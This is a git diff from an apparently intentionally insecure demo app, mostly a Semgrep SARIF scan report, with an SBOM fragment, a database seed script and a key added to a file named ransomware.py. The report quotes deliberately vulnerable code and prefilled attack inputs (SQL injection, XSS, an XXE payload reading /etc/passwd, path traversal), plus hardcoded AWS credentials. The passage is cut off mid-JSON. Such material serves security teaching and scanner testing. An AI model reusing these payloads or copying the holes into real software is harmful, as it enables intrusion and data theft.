+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/rfc3339-validator@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/rfc3986-validator@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/rope@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/ruamel.yaml@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/ruamel-yaml-conda@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/s3fs@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/safetensors@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/scikit-image@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/scikit-learn@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/scikit-learn-intelex@20230426.111612",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/scipy@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/seaborn@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/sip@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/smart-open@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/sniffio@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/sortedcontainers@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/soupsieve@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/spyder@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/spyder-kernels@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/stack-data@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/statsmodels@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/sympy@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/tables@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/tabulate@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/tblib@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/tenacity@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/terminado@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/text-unidecode@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/textdistance@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/threadpoolctl@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/three-merge@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/tifffile@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/tinycss2@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/tokenizers@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/toml@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/tomlkit@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/toolz@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/tornado@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/tqdm@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/traitlets@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/transformers@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/typing-extensions@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/tzdata@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/uc-micro-py@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/ujson@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/watchdog@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/wcwidth@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/webencodings@0.5.1",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/websocket-client@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/werkzeug@3.0.3",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/whatthepatch@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/widgetsnbextension@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/wurlitzer@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/xarray@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/xxhash@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/xyzservices@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/y-py@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/yapf@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/yarl@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/ypy-websocket@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/zict@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/zipp@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/zstandard@latest",
+      "dependsOn": []
+    }
+  ]
+}
\ No newline at end of file
diff --git a/insecure-app/data/tutorial.db b/insecure-app/data/tutorial.db
new file mode 100644
index 0000000..9bff466
Binary files /dev/null and b/insecure-app/data/tutorial.db differ
diff --git a/insecure-app/init_db.py b/insecure-app/init_db.py
new file mode 100644
index 0000000..31c8af5
--- /dev/null
+++ b/insecure-app/init_db.py
@@ -0,0 +1,30 @@
+import sqlite3
+
+# Create the database file
+db = sqlite3.connect("tutorial.db")
+cursor = db.cursor()
+
+# Create the users table
+cursor.execute("""
+    CREATE TABLE IF NOT EXISTS users (
+        id INTEGER PRIMARY KEY AUTOINCREMENT,
+        username TEXT NOT NULL,
+        password TEXT NOT NULL
+    )
+""")
+
+# Insert some sample data
+users = [
+    ('admin', 'password123'),
+    ('user1', 'letmein'),
+    ('user2', 'qwerty'),
+    ('jdoe', 'securepass'),
+]
+
+cursor.executemany("INSERT INTO users (username, password) VALUES (?, ?)", users)
+db.commit()
+
+print("Database initialized with sample data.")
+
+# Close the connection
+db.close()
diff --git a/insecure-app/ransomware.py b/insecure-app/ransomware.py
index 1366431..1baa853 100644
--- a/insecure-app/ransomware.py
+++ b/insecure-app/ransomware.py
@@ -31,6 +31,7 @@ class RansomWare:
 
 
     def __init__(self):
+        aws = "AKIA2JAPX77RGLB664VE"
         # Key that will be used for Fernet object and encrypt/decrypt method
         self.key = None
         # Encrypt/Decrypter
diff --git a/insecure-app/requirements.txt b/insecure-app/requirements.txt
index 57fe178..c28697a 100644
--- a/insecure-app/requirements.txt
+++ b/insecure-app/requirements.txt
@@ -1,4 +1,6 @@
 requests == 2.19.1
 cryptography==3.3.2
 flask==3.0.2
-#cryptograpy==3.3.2
\ No newline at end of file
+#cryptograpy==3.3.2
+lxml==4.9.3
+Werkzeug==3.0.1
\ No newline at end of file
diff --git a/insecure-app/semgrep.sarif b/insecure-app/semgrep.sarif
new file mode 100644
index 0000000..a258da8
--- /dev/null
+++ b/insecure-app/semgrep.sarif
@@ -0,0 +1 @@
+{"version":"2.1.0","runs":[{"invocations":[{"executionSuccessful":true,"toolExecutionNotifications":[{"descriptor":{"id":"Syntax error"},"level":"warning","message":{"text":"Syntax error at line Dockerfile:26:\n `-m` was unexpected"}}]}],"results":[{"fingerprints":{"matchBasedId/v1":"dada070a930ff6915e010e14faf3e2a544c5bfef11d4b3951579186b45fd276654de79517b73e6e5a002f42a307856fa25340d962b684c05bc721125b161c6a4_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"Dockerfile","uriBaseId":"%SRCROOT%"},"region":{"endColumn":31,"endLine":34,"snippet":{"text":"CMD [\"python3\", \"/app/app.py\"]"},"startColumn":1,"startLine":34}}}],"message":{"text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"properties":{},"ruleId":"dockerfile.security.missing-user.missing-user"},{"fingerprints":{"matchBasedId/v1":"d3f90f0252b984381d71020b1e2de08076320938a41a49580bbd203f298f8924a77c7deb99583af188f3e92bcf0ba4170d3026fcb83cd6c80f3d364335943b74_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":42,"endLine":9,"snippet":{"text":"aws_access_key_id = 'AKIA2JAPX77RGLB664VE'"},"startColumn":22,"startLine":9}}}],"message":{"text":"AWS Access Key ID Value detected. This is a sensitive credential and should not be hardcoded here. Instead, read this value from an environment variable or keep it in a separate, private file."},"properties":{},"ruleId":"generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value"},{"fingerprints":{"matchBasedId/v1":"62b677a9ac8db6b43698e08bb8999af71ccf425e8f0bff29ebd6d04d357de968d3486bc87efd30adafb5715e2fc50afc02af5e3aeefc061f7a7bd48118f11e6d_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":56,"endLine":10,"snippet":{"text":"aws_secret = 'v5xpjkWYoy45fGKFSMajSn+sqs22WI2niacX9yO5'"},"startColumn":1,"startLine":10}}}],"message":{"text":"AWS Secret Access Key detected"},"properties":{},"ruleId":"generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key"},{"fingerprints":{"matchBasedId/v1":"c27ee0733289c4c6cab7973d5eef3441b06349f989c97c962ad422daa774c4f24ca734f3dac7a09ea8071ca2821feb97358d2218c9dcc6901b05b1237b526ef8_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":111,"endLine":23,"snippet":{"text":"        cursor.execute(\"SELECT * FROM users WHERE username = '%s' AND password = '%s'\" % (username, password))"},"startColumn":9,"startLine":23}}}],"message":{"text":"Detected possible formatted SQL query. Use parameterized queries instead."},"properties":{},"ruleId":"python.lang.security.audit.formatted-sql-query.formatted-sql-query"},{"fingerprints":{"matchBasedId/v1":"4cc77d72d38f54fe170b2df9e3112e9c54643fe60832c2241bdd5680038b5cd1411cf25a77591b0e1b722c572cdd92d0afdeb6e0c13cc8fb85789e6c3c226f7b_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":111,"endLine":23,"snippet":{"text":"        cursor.execute(\"SELECT * FROM users WHERE username = '%s' AND password = '%s'\" % (username, password))"},"startColumn":9,"startLine":23}}}],"message":{"text":"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option."},"properties":{},"ruleId":"python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query"},{"fingerprints":{"matchBasedId/v1":"49f6aed9240ede5a9e7feb0e6e40f55df5b780a6372ad341ee616496f198d6b47cf69bf2a19f88e6b8751c9d09b21e2798a497977c189508c0abe35302901c55_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":104,"endLine":31,"snippet":{"text":"            process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)"},"startColumn":23,"startLine":31}}}],"message":{"text":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands."},"properties":{},"ruleId":"python.flask.security.injection.subprocess-injection.subprocess-injection"},{"fingerprints":{"matchBasedId/v1":"d4967e520ffee3bd1e1502484b19070a6e023982fd9a29e6f7e1eb822be84f8cfea6f30279b196875ac11f243eabffc9ba5d8660b157605ec74f5b274f8fda96_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":43,"endLine":31,"snippet":{"text":"            process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)"},"startColumn":40,"startLine":31}}}],"message":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"properties":{},"ruleId":"python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array"},{"fingerprints":{"matchBasedId/v1":"bb6dc649e4b6ee5509771d3452faed0c30a6c27c881a6599efeaacac0b7828d43e783373c48277959bca6741d63f283d024732acb6a02c97b033c57ca2c36303_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":43,"endLine":31,"snippet":{"text":"            process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)"},"startColumn":40,"startLine":31}}}],"message":{"text":"Detected subprocess function 'Popen' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.escape()'."},"properties":{},"ruleId":"python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use"},{"fingerprints":{"matchBasedId/v1":"f1bdca96719f423a6ea58be7316752be10df105bce0e1d6040b54139e920a6681492d045a4fe1e77c9c8934895db01f305dfe26abb0bd38e4e6dc9d6498de221_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":55,"endLine":31,"snippet":{"text":"            process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)"},"startColumn":51,"startLine":31}}}],"message":{"text":"Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead."},"properties":{},"ruleId":"python.lang.security.audit.subprocess-shell-true.subprocess-shell-true"},{"fingerprints":{"matchBasedId/v1":"aa6a6a1337d4b8583d9a4ef1c1d5dbf92a4aabe2ca75cb82308327cd876bd8b37b33c92441727ce39defe317ac12d31cd8aebdaa8dabdf2100b0a167338a7230_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":43,"endLine":58,"snippet":{"text":"            sql = request.form['sql']\n            try:\n                # Execute the user's SQL query\n                cursor.execute(sql)\n                # Fetch all rows from the query result\n                rows = cursor.fetchall()\n                # Format the results for display\n                if rows:\n                    output = \"Results:\\n\" + \"\\n\".join(str(row) for row in rows)\n                else:\n                    output = \"Query executed successfully, but no results found.\"\n            except Exception as e:\n                output = f\"SQL Error: {e}\""},"startColumn":13,"startLine":46}}}],"message":{"text":"User-controlled data from a request is passed to 'execute()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"properties":{},"ruleId":"python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute"},{"fingerprints":{"matchBasedId/v1":"a04109a3fba2bec9bba9a69c8a18decc6bbc241dc522f296413da43fc4115e4aa7a34f119eb919fee4b6f6658f6db48e751646b6a52bfcb26d2b2b5f622f6918_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":35,"endLine":49,"snippet":{"text":"                cursor.execute(sql)"},"startColumn":32,"startLine":49}}}],"message":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"properties":{},"ruleId":"python.flask.db.generic-sql-flask.generic-sql-flask"},{"fingerprints":{"matchBasedId/v1":"21a28e34c6a4a89addad1d3b41ce8fa27db59fa080e77f51c86f7ccbd2e154859ae532f29680b7cd32ea994e7ea2ebca35559cac3ef7223241e922daec6ab5b3_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":44,"endLine":83,"snippet":{"text":"            url = request.form['url']\n            try:\n                response = requests.get(url)\n                output = f\"SSRF Response: {response.text[:200]}\"\n            except Exception as e:\n                output = f\"SSRF Error: {e}\""},"startColumn":13,"startLine":78}}}],"message":{"text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request. See https://owasp.org/www-community/attacks/Server_Side_Request_Forgery to learn more about SSRF vulnerabilities."},"properties":{},"ruleId":"python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests"},{"fingerprints":{"matchBasedId/v1":"bf2d23131cd5fd3f3cb07b60a46079e066b555ec0b5a8fb9dd402f373371db1303f456795711b6cf30a37596f7e724e856e4abe27b9550da6ceb4e1f288e3ecd_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":45,"endLine":80,"snippet":{"text":"                response = requests.get(url)"},"startColumn":28,"startLine":80}}}],"message":{"text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"properties":{},"ruleId":"python.flask.security.injection.ssrf-requests.ssrf-requests"},{"fingerprints":{"matchBasedId/v1":"bf73be1a5fa3bae4e6e99df92be605d0698ed099a89fe8b07c2a1b6f08215d9c15c91c3ea9cf416e0dc2cb5c34fbd37f8fa0f4fc65895e8c2c6c75e4799687d0_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":44,"endLine":80,"snippet":{"text":"                response = requests.get(url)"},"startColumn":41,"startLine":80}}}],"message":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"properties":{},"ruleId":"python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests"},{"fingerprints":{"matchBasedId/v1":"21a6ce4274d15c4f5211ba704eda2ca0192bd59500d031fd0a0af826191fcba32c0f0dc06da42363557294ec61fb0e7eb5a825ef83fc6cf86095d98ea11adc00_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":43,"endLine":98,"snippet":{"text":"            username = request.form['username']\n            try:\n                # Vulnerable SQL query using string interpolation\n                query = \"SELECT password FROM users WHERE username = '{}'\".format(username)\n                cursor.execute(query)\n                result = cursor.fetchone()\n                if result:\n                    output = f\"Password for {username}: {result[0]}\"\n                else:\n                    output = \"User not found.\"\n            except Exception as e:\n                output = f\"SQL Error: {e}\""},"startColumn":13,"startLine":87}}}],"message":{"text":"User-controlled data from a request is passed to 'execute()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"properties":{},"ruleId":"python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute"},{"fingerprints":{"matchBasedId/v1":"f779f175ee6b7b343aeff851a6779e7e8abd395d59494bc86cf6288f0e171f6af0be47af0467077ecd98684b16d2abd381c89ceffd024a2a7bb05707c953d34a_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":92,"endLine":90,"snippet":{"text":"                query = \"SELECT password FROM users WHERE username = '{}'\".format(username)"},"startColumn":25,"startLine":90}}}],"message":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using the Django object-relational mappers (ORM) instead of raw SQL queries."},"properties":{},"ruleId":"python.django.security.injection.tainted-sql-string.tainted-sql-string"},{"fingerprints":{"matchBasedId/v1":"0991f39759cd6eaae196a0c5c1ad78e29a0e52f2fb2aee11ab2cd4637b0f1873dcd6d89357e546906a00b6701487b0d44ac6a43f42a83ce8656e50e09cba301e_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":92,"endLine":90,"snippet":{"text":"                query = \"SELECT password FROM users WHERE username = '{}'\".format(username)"},"startColumn":25,"startLine":90}}}],"message":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as SQLAlchemy which will protect your queries."},"properties":{},"ruleId":"python.flask.security.injection.tainted-sql-string.tainted-sql-string"},{"fingerprints":{"matchBasedId/v1":"e7f07ab694370e0eb238a16cea03b2e5519c25b00350c03acbf78ba3ae01dc80a1da5cac87dab27c3945301940250759ba11018e62a21d5c7a3c123fadda48dd_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":38,"endLine":91,"snippet":{"text":"                cursor.execute(query)"},"startColumn":17,"startLine":91}}}],"message":{"text":"Detected possible formatted SQL query. Use parameterized queries instead."},"properties":{},"ruleId":"python.lang.security.audit.formatted-sql-query.formatted-sql-query"},{"fingerprints":{"matchBasedId/v1":"8261599cc1ac432fa3e1bf25d74e4090d52edca4feef0492c951208767ab0dc4f11719b16b1c39c5f4c78bedb7abba94608bdfb1b14a5cc7fcd161afdcf05442_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":38,"endLine":91,"snippet":{"text":"                cursor.execute(query)"},"startColumn":17,"startLine":91}}}],"message":{"text":"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option."},"properties":{},"ruleId":"python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query"},{"fingerprints":{"matchBasedId/v1":"b87c2d8593c7152570c61e23f58ee1c3c14f49e101e57758dfa1afe887301dd76d3f113bd714fda7d91b80555d8de9269a8c3abd99a0f1dd6008d6cfdf2a4ca3_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":37,"endLine":91,"snippet":{"text":"                cursor.execute(query)"},"startColumn":32,"startLine":91}}}],"message":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"properties":{},"ruleId":"python.flask.db.generic-sql-flask.generic-sql-flask"},{"fingerprints":{"matchBasedId/v1":"13ce855503a2b37f3f9c112fcb3d0ac9143b888470dbce27320483e6fd1b1b8a998e062969b709e11f8179af0ec24b93ddaf8cbafcb397bfa9811dc811b83464_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":24,"endLine":165,"snippet":{"text":"    return render_template_string(\"\"\"\n        <h1>Intentionally Insecure App</h1>\n        <hr>\n\n        <!-- Command Injection -->\n        <form action=\"/\" method=\"post\">\n            <h2>Command Injection</h2>\n            <input type=\"text\" name=\"command\" value=\"ls -la\">\n            <input type=\"submit\" value=\"Run\">\n        </form>\n        <br>\n\n        <!-- File Upload -->\n        <form action=\"/\" method=\"post\" enctype=\"multipart/form-data\">\n            <h2>Path Traversal via File Upload</h2>\n            <input type=\"file\" name=\"file\">\n            <input type=\"submit\" value=\"Upload\">\n        </form>\n        <p>Try uploading a file named: <code>../../../../etc/passwd</code></p>\n        <br>\n\n        <!-- SQL Injection -->\n        <form action=\"/\" method=\"post\">\n            <h2>SQL Injection</h2>\n            <input type=\"text\" name=\"sql\" value=\"SELECT * FROM users WHERE username = 'admin' OR '1'='1'\">\n            <input type=\"submit\" value=\"Run\">\n        </form>\n        <br>\n\n        <!-- Cross-Site Scripting (XSS) -->\n        <form action=\"/\" method=\"post\">\n            Enter XSS payload: <input type=\"text\" name=\"xss\" value=\"<script>alert('XSS');</script>\">\n            <input type=\"submit\" value=\"Run\">\n        </form>\n        <br>\n\n        <!-- XML External Entity (XXE) Injection -->\n        <form action=\"/\" method=\"post\">\n            <h2>XML External Entity (XXE) Injection</h2>\n            <textarea name=\"xml\" rows=\"5\" cols=\"50\">\n<?xml version=\"1.0\"?>\n<!DOCTYPE root [\n<!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n]>\n<root>&xxe;</root>\n            </textarea>\n            <input type=\"submit\" value=\"Parse XML\">\n        </form>\n        <br>\n\n        <!-- Server-Side Request Forgery (SSRF) -->\n        <form action=\"/\" method=\"post\">\n            <h2>Server-Side Request Forgery (SSRF)</h2>\n            <input type=\"text\" name=\"url\" value=\"http://localhost:8080/\">\n            <input type=\"submit\" value=\"Request\">\n        </form>\n        <br>\n        <!-- SQL Injection 2 -->\n        <h2>SQL Injection 2</h2>\n        <form action=\"/\" method=\"post\">\n            Enter Username: <input type=\"text\" name=\"username\" value=\"' UNION SELECT username || ' : ' || password FROM users --\">\n            <input type=\"submit\" value=\"Lookup\">\n        </form>\n        <hr>\n        <pre>{{ output|safe }}</pre>\n    \"\"\", output=output)"},"startColumn":12,"startLine":100}}}],"message":{"text":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks."},"properties":{},"ruleId":"python.flask.security.audit.render-template-string.render-template-string"},{"fingerprints":{"matchBasedId/v1":"6dae0772a1b32440b458d87e0cca51340604bd76de0ea5deca5133d9027cb436aabd95df2e5db8e61b40332dd0d4c67e8bca5719388acbb5b5a4e167facf2bb2_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":51,"endLine":168,"snippet":{"text":"    app.run(host='0.0.0.0', port=8080, debug=True)"},"startColumn":5,"startLine":168}}}],"message":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"properties":{},"ruleId":"python.flask.debug.debug-flask.active-debug-code-flask"},{"fingerprints":{"matchBasedId/v1":"271820bbd48a853d5bce2f172f42d3f041c92b4c28efcf09d988ca43a235d86456e7b2ee54998b6ce7c65e81cae15dfd9c07ab728e527d442b48b1bc2a680e52_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":51,"endLine":168,"snippet":{"text":"    app.run(host='0.0.0.0', port=8080, debug=True)"},"startColumn":5,"startLine":168}}}],"message":{"text":"Running flask app with host 0.0.0.0 could expose the server publicly."},"properties":{},"ruleId":"python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host"},{"fingerprints":{"matchBasedId/v1":"2815cac7767db0f179d0d732747d5db89a1f1b11f9dd2966492a2764245edef355b56328bcdcf199fd5d4bbd16ced4243722a364f9be3708447ba8d6288b3fde_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"app.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":51,"endLine":168,"snippet":{"text":"    app.run(host='0.0.0.0', port=8080, debug=True)"},"startColumn":5,"startLine":168}}}],"message":{"text":"Detected Flask app with debug=True. Do not deploy to production with this flag enabled as it will leak sensitive information. Instead, consider using Flask configuration variables or setting 'debug' using system environment variables."},"properties":{},"ruleId":"python.flask.security.audit.debug-enabled.debug-enabled"},{"fingerprints":{"matchBasedId/v1":"0bb3d92a97de4d8e7957e2f0b9737acfdd7f1e086dff8dee7be6fe2434bb8edcd20e0833137f79f73b6cd52ffff9d217bd818dc534b30fba4dc0024a8d29b5f1_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"ransomware.py","uriBaseId":"%SRCROOT%"},"region":{"endColumn":36,"endLine":34,"snippet":{"text":"        aws = 